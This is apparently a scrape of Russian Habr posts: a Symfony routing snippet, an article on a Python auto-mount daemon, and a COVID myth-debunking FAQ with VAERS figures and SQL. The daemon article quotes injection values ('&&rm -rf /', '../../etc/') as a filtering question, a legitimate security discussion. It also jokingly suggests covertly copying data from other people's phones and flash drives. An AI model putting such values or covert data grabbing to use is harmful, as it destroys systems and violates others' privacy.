Код абсолютно понятен, так же мы можем генерировать и абсолютные пути добавив третий параметр true:
```
echo $generator->generate('hello', array('name' => 'Fabien'), true);
// outputs something like http://example.com/somewhere/hello/Fabien
```
Обеспокоены производительностью? Используя ваши определения маршрутов, создадим оптимизированный класс совпадений URL, который заменит дефолтный *«UrlMatcher»*:
```
$dumper = new Routing\Matcher\Dumper\PhpMatcherDumper($routes);
echo $dumper->dump();
```
Хотите еще большей производительности? Экспортируйте ваши маршруты как mod\_rewrite правила для Apache:
```
$dumper = new Routing\Matcher\Dumper\ApacheMatcherDumper($routes);
echo $dumper->dump();
```
Мы с пользователем [fozzy](https://habrahabr.ru/users/fozzy/) условились переводить данный цикл вместе. | https://habr.com/ru/post/136656/ | null | ru | null |
# Pautomount — демон автоматического монтирования, запуска скриптов и всего такого прочего
Возникла передо мной задача — автоматически выполнять действие при вставке какого-нибудь storage device в Дебиане. К примеру, просто автоматически монтировать его. А может, монтировать и синхронизировать данные, если устройство известно. А может, проверять его clamav на всякую фигню и запускать на нём что-нибудь типа USB-вакцины. Может, и включить сирену, если владельца рядом с компьютером нет =)
К примеру, есть у меня флешки, штук этак 5-7. На каждой записано что-то своё, одна — загрузочная, одна с документами, одна с программами, одна с музыкой и с фотками… И стоит дома сервер, на котором все-все копии того, что на флешках, есть. Хотелось бы мне, чтобы с одной флешкой синхронизировались документы, с другой — музыка и фотки, с третьей — загрузочные образы, и так далее. Только вот нужно это дело как-то автоматически запускать, потому как не годится каждый раз через SSH на сервер лезть и ручками всё править. Поэтому нужно что-то, где можно было бы флешки прописать и действия, нужные при подключении, задать. А там один раз скрипт синхронизации написал — и готово.
Только вот ничего готового и полностью подходящего в Гугле не нашлось. Часть решений тянут за собой кучу зависимостей и не рассчитаны на headless-установку, часть устарели, часть не имеют всего необходимого функционала, а часть позволяют это сделать, только вот слишком муторно, настраивать трудно, и вообще, NIH ;-) Поэтому написал я свой демон автоматического монтирования, ну и выкладываю его сюда, может, пригодится кому-то ещё, может, такому же владельцу домашнего сервера, который точно так же хочет синхронизировать флешки с домашним NAS. Да и хочется, чтобы кто-нибудь код покритиковал, на ошибки указал и решения некоторых проблем подсказал — смотреть в конце топика.
Был у меня как-то iPod. Иногда возникала необходимость его заряжать от компьютера с Линуксом. Но как только подключаешь его к компьютеру, он сразу включает режим синхронизации. Для того, чтобы он прекратил заряжаться, требуется либо хардварное решение (переходник папа-мама USB с по-особому замкнутыми контактами), либо выполнить eject /dev/sdx1, что выключает режим синхронизации и переводит в режим зарядки. Соответственно, нужно выполнять эту команду каждый раз — паять переходник ведь так лень… тогда и родился такой скрипт — umipod.sh: (UnMount-iPOD)
**umipod.sh**
```
#!/bin/bash
#Intended to run in background and eject device specified by UUID if plugged
# in.Check is performed every N seconds where N variable is set in script
# header part.
N=10 #Yes, this is delay between checks, best recommended is 10 seconds
# which is just N=10.
UUID="4C25-4DC2"
BEACON="/usr/local/bin/umipod/a.flg"
if [[ $1 = "-a" ]]
then
touch $BEACON
echo "Mounting temporarily allowed"
exit 0
fi
if [[ $1 = "-d" ]]
then
rm -f $BEACON
echo "Device will be ejected "
exit 0
fi
while [ true ]
do
if [[ ! -e $BEACON && -e /dev/disk/by-uuid/$UUID ]]
then
DEVPART=`blkid -U $UUID`
eject $DEVPART
echo "Device ejected"
fi
sleep $N
done
```
Прошу сильно не плеваться на качество кода, это было написано два года назад, да и дальше в статье будет ещё много кода — берегите слюну =) Суть проста — в цикле проверяем, подключено ли устройство с конкретным UUID, если да, то находим, какое блочное устройство eject'ить и делаем это. Подключил плеер к компьютеру, через пару секунд он автоматически отключается, но продолжает заряжаться — можно дальше слушать музыку. Было достаточно удобно… Пока не потерял плеер =( С тех пор надобность в таком устройстве практически отпала.
А сейчас столкнулся с некоторыми задачами, для которых требуются автоматические действия при подключении носителя. Вот и решил это исправить, только теперь и близко не подходя к Bash =) Язык программирования долго выбирать не пришлось — да и не из чего, честно говоря, я только Python в последнее время и занимаюсь. Дальше пришлось подумать — писать ли демон, который в цикле проверяет, не появилось ли новых ещё необработанных разделов, или цепляться через udev, чтобы программа вызывалась как callback при подключении любой флешки. Второй вариант вроде потребляет меньше ресурсов — но первый не зависит от udev и проще =) Поэтому решил писать демона, которого можно спокойно сунуть в автозапуск.
Собственно, [вот он](https://github.com/CRImier/pautomount). Об устройстве и возможностях легче всего будет рассказать, описывая то, как его настраивать. Но всё же вкратце опишу принцип работы:
1. Демон каждые n секунд проверяет /dev/disk/by-uuid, затем по данным оттуда составляет список доступных разделов
2. Этот список сравнивается со списком, сделанным за n секунд до этого, определяются разделы, которых до этого не было
3. При наличии свежеподключенных разделов по записям из конфига определяется, какой раздел проигнорировать, а для какого выполнить какое-то действие.
4. GOTO 1
Дальше — уже требует описания конфига =) Конфиг обычно состоит из четырёх секций, любую из которых можно безболезненно пропустить.
```
{
"globals": {
"interval":3,
"debug":false,
"noexecute":true,
"comment":"Everything that is in this section will be exported as a global variable in the script, replacing if there's something to replace."
},
"exceptions": [
{"uuid":"ceb62844-7cc8-4dcc-8127-105253a081fc", "comment":"System boot partition"},
{"uuid":"6d1a8448-10c2-4d42-b8f6-ee790a849228", "comment":"System root partition"},
{"uuid":"9b0bb1fc-8720-4793-ab35-8a028a475d1e", "comment":"System swap partition"}
],
"rules": [
{"uuid":"E02C8F0E2C8EDEC2", "mount":{"mountpoint":"/media/16G-DT100G2"}},
{"uuid":"7F22-AD64", "mount":{"mountpoint":"/media/16G-DT100G3"}},
{"uuid":"406C9EEE6C9EDE4A", "mount":{"mountpoint":"/media/80G-Music"}},
{"uuid":"52663FC01BD35EA4", "mount":{"mountpoint":"/media/32G-Data"}}
],
"default": {
"mount":true,
"comment":"Configuration section for the actions that are taken if drive isn't in either exception or rule list."
}
}
```
###### 1) Секция «globals»
Тут всё просто — любая переменная в этой секции экспортируется в global namespace демона такой незатейливой функцией:
**def export\_globals():**
```
def export_globals():
log("Exporting globals from config file")
for variable in config["globals"].keys():
if debug:
log("Exporting variable "+variable+" from config")
globals()[variable] = config["globals"][variable]
```
Просто и быстро, не нужно составлять всякие списки переменных к экспорту или запихивать все переменные в словарь.
*Полезные переменные:*
**main\_mount\_dir** — основная директория для монтирования, когда путь для монтирования неизвестен либо указан в виде относительного пути. По умолчанию — "/media".
**default\_mount\_option** — опции при монтировании по умолчанию, когда другие не указаны. Я оставляю там «rw», хоть и не уверен, не прописано ли это уже по умолчанию в драйверах для файловых систем =)
**logfile** — путь к лог-файлу. Если надо поменять, лучше указывать абсолютный — чёрт его знает, куда попадут логи, если указать относительный =) Скорее всего — в \.
**interval** — интервал между проверками на предмет появления новых разделов. Как по мне — даже интервал в одну секунду не загружает процессор сколь-либо значительно, даже на одноядерном Celeron 900MHz =)
*Не столь полезные переменные:*
**debug** — тут всё понятно. Значительно убыстряет увеличение размера лог-файла, в реальной жизни вряд ли понадобится =)
**super\_debug** — убыстряет расширение лог-файла ещё больше. Вероятность того, что понадобится, ещё меньше.
**noexecute** — опция, которая включена по умолчанию и при которой демон только имитирует вызовы внешних команд — таким образом, с момента первого запуска и до тех пор, пока не будет убрана опция, ничего монтироваться/выполняться не будет. Сделана для того, чтобы до настройки демон не монтировал разделы, которые уже монтируются, используя fstab.
###### 2) Секция «exceptions»
Любой раздел, чей UUID/Label указан в этой секции, будет жестоко проигнорирован. Собственно, основной use case — разделы, которые автоматически монтируются при загрузке системы из fstab. То есть обычные записи в этой секции будут выглядеть так:
```
"exceptions": [
{"uuid":"ceb62844-7cc8-4dcc-8127-105253a081fc", "comment":"System boot partition"},
{"uuid":"6d1a8448-10c2-4d42-b8f6-ee790a849228", "comment":"System root partition"},
{"uuid":"9b0bb1fc-8720-4793-ab35-8a028a475d1e", "comment":"System swap partition"}
]
```
Кстати — всякие там ключи типа «comment», естественно, игнорируются. Если не считать трюк с повторным использованием ключей в словаре, это единственная возможность комментировать конфиг-файл в формате JSON =)
###### 3) Секция «rules»
Тут описываются правила для особых случаев. К примеру, здесь можно указать правило типа:
```
{"uuid":"E02C8F0E2C8EDEC2", "mount":{"mountpoint":"/media/16G-DT100G2", "options":"rw,uid=1002,gid=1002"}},
```
При наличии такого правила раздел с UUID E02C8F0E2C8EDEC2 будет всегда монтироваться по пути "/media/16G-DT100G2", используя опции «rw,uid=1002,gid=1002».
###### 4) Секция «default»
Тут всё просто — если раздел не соответствует записям в двух предыдущих секциях, то именно эта секция отвечает за действие по умолчанию. Обычно содержит просто «mount»:true, ну или «mount»:false.
###### Правила
Как можно видеть, во последних трёх секциях в правилах есть два типа переменных.
Первый тип — переменные для идентификации какого-то конкретного раздела. Их пока три типа — «uuid», «label» и «label\_regex».
* **«uuid»** — тут всё понятно.
* **«label»** — позволяет задать метку раздела, при совпадении которой будет принято действие.
* **«label\_regex»** — сопоставляет метку диска с указанным регулярным выражением, используя re.match(). На входе, естественно, ожидается Perl-like регулярное выражение.
Второй тип — переменные для обозначения действия. Их тоже три:
* **«mount»** может иметь следующие значения: true (автоматически монтировать), false ( не монтировать) или словарь с дополнительными аргументами для монтирования (подразумевается true). Пока что допустимые ключи для словаря — «mountpoint» (задание точки монтирования) и «options» (дополнительные опции для монтирования).
* **«command»** — строка, содержащая путь к команде, которую следует выполнить. Тут всё ясно =)
* **«script»** — какой-нибудь кастомный скрипт, который вызывается с аргументами «DEVICE\_PATH UUID MOUNTPOINT LABEL». Вместо последних двух, если нет точки монтирования или метки раздела, будет None.
Естественно, при обработке секции «exceptions» никакие действия, даже если будут указаны, приняты не будут, а в секции «default» не будут обрабатываться переменные идентификации — смысла нет =)
Добавлю пару примеров правил в конфиге:
```
{
"globals": {
"interval":1,
"debug":false,
"default_mount_option":"noexec,noatime,rw"
},
"exceptions": [
{"label":"Root", "comment":"System boot partition"},
{"uuid":"6d1a8448-10c2-4d42-b8f6-ee790a849228", "comment":"System root partition"},
{"uuid":"9b0bb1fc-8720-4793-ab35-8a028a475d1e", "comment":"System swap partition"}
],
"rules": [
{"label":"MULTISYSTEM", "mount":{"mountpoint":"/media/MULTISYSTEM", "comment":"Будет конфликтовать, если будет два раздела с одинаковой меткой =( "}},
{"uuid":"7F22-AD64", "mount":{"mountpoint":"/media/16G-DT100G3"}, "command":"/usr/local/bin/sync_dt100g3.sh"},
{"uuid":"406C9EEE6C9EDE4A", "mount":{"mountpoint":"/media/80G-Music"}, "command":"mocp --server; mocp -P", "comment":"Автоматическое проигрывание музыки при "},
{"label_regex":".*iPhone.*", "mount":true, "script":"/usr/loca/bin/iphone_factory_restore.sh", "comment":"Учимся делать бекапы ;-) "}
],
"default": {
"mount":false,
"comment":"Ты куда монтируешься, а ну пропуск покажи"
}
}
```
##### Зачем?
В итоге — что позволяет этот демон? Кроме того, что он помогает автоматически монтировать разделы на подключаемых устройствах, он может быть использован для:
1. Синхронизации файлов на съёмных носителях с, к примеру, домашним сервером на Linux
2. Своеобразного usb-modeswitch, вспомнить ту же ситуацию с iPod
3. Проверки носителей на вирусы
4. Сливания данных с чьих-нибудь iPhone/Android/флешек/фотоаппаратов втихаря =)
5. Создания Samba-шар для доступа к носителям по сети
Сейчас, когда всё написано и полностью равботает, но до конца ещё не отполировано, у меня есть несколько вопросов по улучшению безопасности и соответствию каким-нибудь там выработавшимся за многие годы традициям в написании демонов.
1. Можно ли постоянно держать этот демон под рутом? Проблема в том, что нужно иметь привилегии для запуска всех команд — как монтирования, так и исполнения внешних скриптов, среди которых может быть тот же rsync, к примеру. Безопасность файла конфигурации — из той же оперы. Если скрипт запускается под рутом, а в конфиге прописана команда, которая *случайно* стирает MBR&MFT, будет весело.
2. Для выполнения скриптов и команд, определённо, в ближайшее время нужно будет сделать обязательное выполнение в фоне, в отдельном потоке — а не то любая команда, которая будет работать дольше пары секунд, застопорит весь демон. В принципе, такая же ситуация может возникнуть при монтировании. Но тут дилемма — если выполнять монтирование в фоне, то команда или скрипт могут быть выполнены раньше монтирования, такой вот race condition =( Думаю выделить в отдельный поток обработку каждого раздела, так не будет ни race condition, ни повисания, если mount виснет из-за того, что нужно ещё пофиксить ФС.
3. Нужно ли демону уходить в фоновый режим самому или это необязательно? Пока что устроено так — демон сам в фоновый режим уходить не умеет, за него это делает start-stop-daemon в init-скрипте.
4. Как по пути к блочному устройству (/dev/sdxZ) проще и быстрее всего проверить, примонтировано ли оно? Желательно используя стандартные модули Python, ну, или в крайнем случае — используя внешние команды. Тогда можно будет избавиться от проблем, связанных с двукратным монтированием одного и того же раздела. Парсить mtab и сопоставлять UUID с путям к блочным устройствам — задача ещё та ;-)
5. Стоит ли генерировать из fstab список исключений до первого запуска или можно положиться на пользователя, который один раз вобьёт это ручками?
6. При запуске внешних скриптов нужно иметь в виду возможные спецсимволы в partition label, типа *случайно* попавших туда "&&rm -rf /" (сработает при запуске внешнего скрипта) и "../../etc/" (может смонтировать раздел вместо "/etc") ;-) Вопрос — какие спецсимволы нужно фильтровать для полной защиты этой дыры? На ум сразу приходят "&", "/" и ";", но может быть больше.
[GitHub](https://github.com/CRImier/pautomount)
Кстати, эту статью можно считать продолжением мной обещанного, но на уже почти год как остановленного [курса статей по настройке своего переносного сервера, используя Debian.](http://habrahabr.ru/post/188108/) Собирался сделать что-то такое в рамках реализации своего файлового сервера, только вот тогда не смог найти готового решения… А сейчас написал своё =) В ближайшее время думаю написать ещё пару статей, которые подойдут под тематику этого курса. | https://habr.com/ru/post/220301/ | null | ru | null |
# Covid fake FAQ___draft_final_4 (окончательное доказательство)
Covid
-----
Вирус SARS-CoV-2 (2019-nCoV) не был выделен
> Затем из образца нижних дыхательных путей был выделен новый коронавирус, получивший название 2019-nCoV, и вскоре после этого был разработан диагностический тест на этот вирус. ([Источник, переведенный яндексом на русский](https://translate.yandex.ru/translate?lang=en-ru&url=https%3A%2F%2Fwww.thelancet.com%2Fjournals%2Flancet%2Farticle%2FPIIS0140-6736(20)30183-5%2Ffulltext))
>
>
> A novel coronavirus, which was named 2019-nCoV, was isolated then from lower respiratory tract specimen and a diagnostic test for this virus was developed soon after that. [Source](https://www.thelancet.com/journals/lancet/article/PIIS0140-6736(20)30183-5/fulltext)
>
>
> To characterize the new viruses, **we examined the biological properties of two SARS-CoV-2 isolates**: SARS-CoV-2/UT-NCGM02/Human/2020/Tokyo (UT-NCGM02) and SARS-CoV-2/UW-001/Human/2020/Wisconsin (UW-001), which were both **isolated from mild cases**. These isolates were propagated in VeroE6 or Vero 76 cells to prepare virus stocks. [Source](https://www.pnas.org/content/117/28/16587)
>
>
> SARS-CoV-2 isolate (HIAE-02: SARS-CoV-2/SP02/human/2020/BRA (GenBank accession number MT126808.1) was used in this work. The virus was grown in Vero cells (Monkey African Green kidney cell line – ATCC CCL-81) in the Laboratory of Molecular Virology, at Federal University of Rio de Janeiro, Brazil. Vero cells were maintained in DMEM supplemented with 5% fetal bovine serum (FBS; GIBCO) at 37 °C and 5% CO2. All work involving infectious SARS-CoV2 was performed in a biosafety level (BSL)-3 containment laboratory.
>
> <https://www.nature.com/articles/s41598-020-73162-5>
>
>
> Scientists have isolated virus from the first US COVID-19 patient. The isolation and reagents described here will serve as the US reference strain used in research, drug discovery and vaccine testing.
>
> <https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7239045/>
>
>
* [И его геном](https://www.ncbi.nlm.nih.gov/nuccore/MN908947.2)
* [И еще геном](https://www.viprbrc.org/brc/viprStrainDetails.spg?ncbiAccession=MN908947&decorator=corona)
> 9 января 2020 года CDC Китая окончательно идентифицировал SARS-CoV-2 как возбудитель пневмонии COVID-19, и его геномная последовательность (регистрационный номер GenBank MN908947) была доступна 10 января
>
>
> on 9th January 2020 SARS-CoV-2 was definitively identified by the Chinese CDC as the causative agent for COVID-19 pneumonia and that its genomic sequence (GenBank accession number MN908947) was made available on 10th January [Source](https://www.mdpi.com/1422-0067/21/8/3004/htm)
>
>
Из Австралии (январь 2020)
> A nasopharyngeal swab and sputum collected when the patient presented to hospital **were each positive for SARS-CoV-2** (reverse transcription polymerase chain reaction). Inoculation of Vero/hSLAM cells with material from the nasopharyngeal swab led to the **isolation of SARS-CoV-2 virus in culture**. Electron microscopy of the supernatant **confirmed the presence of virus particles with morphology characteristic of viruses of the family *Coronaviridae***.
>
>
> Мазок из носоглотки и мокрота, собранные при поступлении пациента в больницу, **были положительными на SARS-CoV-2** (полимеразная цепная реакция с обратной транскрипцией). Инокуляция клеток Vero/hSLAM материалом из мазка из носоглотки привела к **выделению вируса SARS-CoV-2 в культуре**. Электронная микроскопия супернатанта **подтвердила наличие вирусных частиц с морфологией, характерной для вирусов семейства Coronaviridae**.
>
>
* [Isolation and rapid sharing of the 2019 novel coronavirus (SARS-CoV-2) from the first patient diagnosed with COVID-19 in Australia](https://onlinelibrary.wiley.com/doi/full/10.5694/mja2.50569)
И до кучи
* [A new coronavirus isolated from humans](https://www.virology.ws/2012/09/25/a-new-coronavirus-isolated-from-humans/) а это до кучи старый коронавирус - обратите внимание на дату, это не Sars-CoV2
* [База данных последовательностей SARS-CoV2](https://covariants.org)
От ковид вакцины больше побочных эффектов и смертей чем от самого ковидЯ скачал VAERS (Vaccine Adverse Event Reporting System) базу данных, которая лежит в открытом доступе и доступна любому желающему в виде `.csv` файлов. Это база данных по репортам о негативных событиях после прививок в США, данные от с 1990 по 2021 года. В данную базу данных могут репортить все, включая не медиков, поэтому данные не могут отражать абсолютно объективную и полную картину, тем не менее это неплохой срез, например, для начала анализа. Важно отметить очевидность - не все побочные эффекты обязательно попадут в VAERS.
*Все данные приведены на 16 июля 2021 по США.*
* Всего привито: **158 991 905** (полностью), **188 027 260** (хотя бы одна доза)
* Всего зафиксировано любых осложнений: **426 238** это **0.28%** от полностью вакцинированных или **0.23%** от получивших минимум одну дозу
* Из них смертей: **5247** (**1.23%** из обратившихся, **0.0033%** от полностью привитых, **0.0028%** от получивших мин одну дозу)
* из них осложнений связанных с угрозой жизни: **6544** (**1.53%** из обратившихся, **0.0041%** от полностью привитых, **0.0035%** от получивших мин одну дозу)
То есть в самом страшном случае мы имеем: **0.0033%** (смерти) + **0.0041%** (угроза жизни) = **0.0074%** людей. получивших прививку или умерли или были в критическом состоянии.
Теперь то же самое по болезни (США):
* Случаев: **33 643 529**
* Смертей: **603 170** (**1,79%** летальности)
Итого имеем: **шанс** **0,0074% вреда от вакцины против 1,79% вреда от болезни**. *При этом для болезни учитываются только смерти и не учитываются осложнения связанные с угрозой жизни.*
Иными словами **шанс помереть от болезни 1 из 55, шанс получить серьезную проблему или умереть от прививки 1 из 13 000**
* <https://vaers.hhs.gov/data/datasets.html>
* <https://covid19.who.int/region/amro/country/us>
Дополнительно про VAERS
> Who can report to VAERS?
> VAERS accepts reports **from anyone**. Patients, parents, caregivers and healthcare providers (HCP) are **encouraged to report adverse events after vaccination to VAERS** even if it is not clear that the vaccine caused the adverse event. In addition, **HCP are required to report certain adverse events after vaccination**.
>
>
Спасибо [@kemm](/users/kemm) за [дополнительную информацию](https://habr.com/en/post/565892/#comment_23217426)
Есть так же данные из [Германии](https://www.pei.de/DE/newsroom/dossier/coronavirus/coronavirus-inhalt.html;jsessionid=960BAD9EE19BBE849DEBC2AD12035A39.intranet241?nn=170518&cms_pos=6) - [pdf](https://www.pei.de/SharedDocs/Downloads/DE/newsroom/dossiers/sicherheitsberichte/sicherheitsbericht-27-12-bis-30-06-21.pdf?__blob=publicationFile&v=3)
* Всего доз: **74 871 502**
* Осложнений: 10 578 - 1028 = **9550 (0.013% или 1 на 7000)**
* Смертей: **1 028 (0.0014% или 1 на 70 000)**
И по болезни:
* Случаев: **3 740 325**
* Смертей: **91 319 (2.44% или 1 на 40)**
P.S. Как справедливо заметили в комментариях, **сравнивая эти цифры нужно как минимум держать в уме и вероятность заражения**. Понятно, что на определенном промежутке времени эта **вероятность стремится к 100%**, тем не менее считаю важным это упомянуть.
Всем приписывают смерть от ковид сейчас, даже если человек попал в автомобильную авариюНе обязательно смотреть статистику по ковид, можно посмотреть **общую смертность** и сравнить ее с предыдущими годами. Для многих европейских стран это доступно на [www.euromomo.eu/graphs-and-maps](https://www.euromomo.eu/graphs-and-maps)
Любимая всеми Швеция**Пожалуйста, смотря на данный график помните, что это общая смертность на данный период времени. Причины могут быть САМЫМИ РАЗНЫМИ: умершие от ковид, от неверной диагностики, от неполучения плановой помощи, суицид и любые другие причины которые вам приходят и не приходят в голову, включая естественную смертность.**
Эти данные **не являются ДОКАЗАТЕЛЬСТВОМ** чего либо кроме повышенной смертности в указанный период времени, но частью картины в целом.
Центр по контролю и профилактике заболеваний США в документе про ковид указывает, что **Ковид не должен присутствовать на сертификате, если он не был причиной или не повлиял на смерть**.
> Cause of Death and COVID-19
>
> When COVID-19 is reported as a cause of death on the death certificate, it is coded and counted as a death due to COVID-19. **COVID-19 should not be reported on the death certificate if it did not cause or contribute to the death**.
>
>
* <https://www.cdc.gov/nchs/nvss/covid-19.htm#understanding-death-data-quality>
Это не значит, что это всегда соблюдается, но это и не значит, что официальная, публичичная версия состоит в том, что нужно побольше смертей учитывать как по причине или в следствии ковид.
После начала вакцинации люди начали массово умиратьИ дальше страшные графики где указана дата вакцинации и повышающееся количество смертей.
*Риторический вопрос: если статистика фейковая, а цель всех привить, то логично не делать таких всплесков?*
Поскольку часть из подобных заявлений ссылается на данные <https://ourworldindata.org> то посмотрим данные оттуда же (я буду смотреть Канаду и Израиль как одни из самых вакцинированных стран, но рекомендую смотреть любые страны):
Начало вакцинации примерно **14 декабря 2020** года. На данный момент вакцинировано полностью **30%** и **60%** соответственно, хотя бы одна прививка **68%** и **64%** соответственно.
*До 14 декабря мы игнорируем смертность потому что она нам неудобна для разведения паники по поводу вакцинации.*
Что мы видим на графике? с 14 декабря по 25 января действительно количество смертей увеличивается. Но после 25 января статистика смертности начинает активно ползти вниз. И чем больше становится вакцинированных, тем меньше становится смертей (и так происходит до последнего момента).
Ось X - % вакцинированного населения (мин одна доза), ось Y количество смертей.
* [Вакцинация](https://ourworldindata.org/covid-vaccinations)
* [Смерти](https://ourworldindata.org/covid-deaths)
После вакцины от ковид умерло больше людей чем от всех других вакцин вместе взятыхДанный аргумент появился после анализа данных VAERS.
США на 16 июля 2021.
Это действительно так: **5247** (ковид вакцины) против **5051** (все остальное).
SQL
```
SELECT * FROM (
SELECT
(SELECT count(*)
FROM (
SELECT DISTINCT v."VAERS_ID"
FROM vax_data AS vd
LEFT JOIN vax AS v ON (v."VAERS_ID"=vd."VAERS_ID")
WHERE v."VAX_TYPE" = 'COVID19' AND vd."DIED" IS NOT NULL
) as sub
) as covid,
(SELECT count(*)
FROM (
SELECT DISTINCT v."VAERS_ID"
FROM vax_data AS vd
LEFT JOIN vax AS v ON (v."VAERS_ID"=vd."VAERS_ID")
WHERE v."VAX_TYPE" != 'COVID19' AND vd."DIED" IS NOT NULL
) as sub
) as non_covid
) AS deaths
```
*Несмотря на страшные цифры статистики, стоит проверить количество вакцин, чтобы узнать процентное соотношение и составить более объективную картину.*
Я сделал выборку, по всем вакцинам и отсортировал по смертельности (смертей / кол-во репортов). Вакцины от ковид на 27 месте по летальности.
Если вам действительно нужны **полные, объективные данные**, то вы знаете, что **по этой статистике ее составить нельзя, так как не все случаи записаны и нету соответствия количеству инъекций**. Плюс неучтена никакая история пациентов (хотя в VAERS она есть, но ее уже не так просто группировать).
SQL запрос, который я использовал. Да простят меня DBA и прочие знатоки SQL.
```
SELECT
row_number() over() AS "#",
*
FROM (
SELECT
vt as vax_code,
totals AS total_reports,
death AS deaths,
life_threat,
er_visit,
other_effects,
round((death / totals), 4) AS death_percent,
round((life_threat / totals), 4) AS life_threat_percent,
round((er_visit / totals), 4) AS er_percent,
vax_desc
FROM (
SELECT
vg.vt,
(SELECT count(*)::decimal FROM (SELECT "VAERS_ID" FROM vax WHERE "VAX_TYPE"=vg.vt) as sub) AS totals,
(SELECT count(*)::decimal
FROM (
SELECT DISTINCT vax."VAERS_ID"
FROM vax
LEFT JOIN vax_data AS vd ON (vd."VAERS_ID"=vax."VAERS_ID")
WHERE "VAX_TYPE"=vg.vt AND vd."DIED" IS NOT NULL
) as unique_deaths
) AS death,
(SELECT count(*)::decimal
FROM (
SELECT DISTINCT vax."VAERS_ID"
FROM vax
LEFT JOIN vax_data AS vd ON (vd."VAERS_ID"=vax."VAERS_ID")
WHERE "VAX_TYPE"=vg.vt AND vd."L_THREAT" IS NOT NULL AND vd."DIED" IS NULL
) AS unique_lt
) AS life_threat,
(SELECT count(*)::decimal
FROM (
SELECT DISTINCT vax."VAERS_ID"
FROM vax
LEFT JOIN vax_data AS vd ON (vd."VAERS_ID"=vax."VAERS_ID")
WHERE "VAX_TYPE"=vg.vt AND vd."L_THREAT" IS NULL AND vd."DIED" IS NULL AND vd."ER_VISIT" IS NOT NULL
) AS unique_er
) AS er_visit,
(SELECT count(*)::decimal
FROM (
SELECT DISTINCT vax."VAERS_ID"
FROM vax
LEFT JOIN vax_data AS vd ON (vd."VAERS_ID"=vax."VAERS_ID")
WHERE "VAX_TYPE"=vg.vt AND vd."L_THREAT" IS NULL AND vd."DIED" IS NULL
) AS unique_other_effects
) AS other_effects,
(SELECT description
FROM vax_description AS vdesc
WHERE vdesc.code=vg.vt LIMIT 1
) AS vax_desc
FROM (
SELECT "VAX_TYPE" AS vt
FROM vax
GROUP BY vt
) as vg
) as data
WHERE death > 0 AND life_threat > 0
ORDER BY death_percent DESC, life_threat_percent DESC
) as dataset
```
* <https://vaers.hhs.gov/data/datasets.html>
Илон Маск доказал что пцр тесты не работают<https://twitter.com/elonmusk/status/1327125840040169472>
> Something extremely bogus is going on. Was tested for covid four times today. Two tests came back negative, two came back positive. Same machine, same test, same nurse. **Rapid antigen test from BD**.
>
>
Это был не ПЦР тест, а антиген тест. И даже про эти тесты Маск не доказал их неработоспособность, а на выборке в пределах статистической погрешности указал на их недостатки.
Это все пандемия тестированияДанное утверждение фигурирует в контексте того, что чем больше тестов, тем больше находят больных (ссылаясь на погрешности тестов) и тем больше принимается неадекватных мер, таких как локдауны.
Рассмотрим такой случай:
1 смерть на 100 заболевших. Получаем летальность в 1% (1 / 100).
Теперь возьмем случай с тем, кого неправильно диагностировали и таких, к примеру, 900 человек. При условии, что умер только один (тот самый из идеального случая) мы имеем 900+100 диагностированных положительно и 1 смертельный исход.
Тогда летальность будет 0.1% (1 / 1000). В данном случае мы имеем неоднозначный эффект:
* Больше случаев — больше принимаемых мер (или они строже)
* Больше случаев при отсутствии корреляции со смертями — меньше летальность.
Важное дополнение от [@ksbes](/users/ksbes)
> среди «ложноположительных» тоже будут смерти — просто потому что люди умирают не только от ковида, но и от любого заболевания с высокой температурой (не на пустом же месте ложноположительный тест!). Поэтому смертность упадёт не так сильно. Более того, она может даже возрасти из-за неадекватного лечения «ложноположительных». **Для строгих рассуждений и вычислений тут просто не хватит места и вводных данных.**
>
>
Из второй части выходит, что скептикам, превышение показателей по зараженным, но не умершим выгодно, так как это понижает летальность и можно кричать, что не вирус не страшнее вируса страшнее гриппа, и что принимаемые меры неадекватны.
Но, нужно понимать, как мне верно заметили в комментариях, что неверная диагностика может привести к летальному исходу. И тогда у нас летальность может подскочить (тут уже зависит от количества неверно диагностированных и умерших и в таком случае летальность может вырасти).
*Если вы хотите упирать на* ***нарисованные*** *данные, то используйте заниженную статистику для заражения и завышеную для смертности.*
Маски повышают концентрацию CO2 во вдыхаемом воздухеА вот и нет, в связи с проблемами проведения данного исследования статья была отозвана. Ссылка остается тут для истории и чтобы любой желающий мог ознакомиться как с самой статьей, так и с причинами отзыва.
~~Проверили на детях и это действительно так.~~
~~Как можно увидеть в таблице концентрация CO2 в маске и без маски отличается примерно в 6 раз -~~ **~~0.268~~** ~~против~~ **~~1.391~~** ~~(% от объема).~~
* <https://jamanetwork.com/journals/jamapediatrics/fullarticle/2781743>
*P.S. Пытливый читатель наверняка спросит: но раз CO2 так хорошо удерживается под маской, значит ли это, что выдыхаемый аэрозоль и прочие выдыхаемые частицы так же фильтруются маской с определенной долей эффективности?*
Выросло количество попыток самоубийств среди подростковИ это очень грустно.
С одной стороны кричат: мы все умрем от вируса! С другой: это все план по депопуляции и чипизации, мы все умрем, а кто нет - станут рабами!
При этом вам нельзя пойти погулять чтобы не ругаться с предками. Как много людей не впадут в депрессию?
* <https://www.cdc.gov/mmwr/volumes/70/wr/mm7024e1.htm>
* <https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7680039/>
Вакцины от ковид вызывают прионную болезнь / аутоиммунные заболеванияПрионные болезни
> given the belief that the **virus causing COVID-19, SARS-CoV-2**, is a bioweapon [10,11] and it is possible that the viral spike protein **may have** **been designed to cause prion disease**.
>
>
> учитывая убеждение в том, что **вирус, вызывающий COVID-19, SARS-CoV-2**, является биологическим оружием [10,11], и возможно, что вирусный белок спайка, **возможно, был разработан для того, чтобы вызвать прионную болезнь**.
>
>
Аутоиммунные заболевания
> Autoimmunity and the opposing condition, metabolic syndrome, are well know adverse events caused by vaccines [14]. **COVID-19 infections are associated with the induction of autoantibodies and autoimmune disease** [15,16] making it more than plausible a vaccine could do the same.
>
>
> Аутоиммунные заболевания и противоположные им состояния, метаболический синдром, являются хорошо известными побочными явлениями, вызванными вакцинами [14]. **Инфекции COVID-19 связаны с индукцией аутоантител и аутоиммунных заболеваний** [15,16], что делает более чем вероятным, что вакцина может сделать то же самое.
>
>
Проблема статьи в том, что нет исследований и хоть каких-то цифр, например: Ковид N% проблем, вакцины от ковид M% проблем.
Не все статьи, которые выглядят научно, являются таковыми.
* <https://principia-scientific.com/covid-19-rna-based-vaccines-and-the-risk-of-prion-disease-2/>
* <https://scivisionpub.com/pdfs/covid19-rna-based-vaccines-and-the-risk-of-prion-disease-1503.pdf>
